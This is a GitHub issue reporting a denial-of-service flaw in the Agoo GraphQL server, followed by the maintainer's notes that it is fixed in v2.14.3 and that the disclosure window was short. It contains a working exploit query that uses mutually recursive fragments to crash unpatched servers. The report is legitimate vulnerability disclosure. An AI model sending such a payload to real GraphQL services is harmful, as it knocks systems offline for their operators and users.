Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Agoo Fragment Cycle Security Vulnerability #109

Closed
nicholasaleks opened this issue May 4, 2022 · 2 comments
Closed

Agoo Fragment Cycle Security Vulnerability #109

nicholasaleks opened this issue May 4, 2022 · 2 comments

Comments

@nicholasaleks
Copy link

nicholasaleks commented May 4, 2022

Agoo currently does not support request validations meaning cycle fragment requests lead to unbounded results causing instances of Agoo to crash.

Sample exploit script:

query test {
  __schema {
    ...A
  }
}

fragment A on __Schema {
	types {
    fields {
      name
    }
  }
  ...B
}

fragment B on __Schema {
	...A
}

For more information see: https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/agoo.md

Spec ref: https://spec.graphql.org/October2021/#sec-Fragment-spreads-must-not-form-cycles

@ohler55
Copy link
Owner

ohler55 commented May 6, 2022

Fixed in v2.14.3.

@ohler55
Copy link
Owner

ohler55 commented May 6, 2022

It would have been nice to give me more than a day to fix the issue before submitting to the NVD. Just saying...

@ohler55 ohler55 closed this as completed Jun 18, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants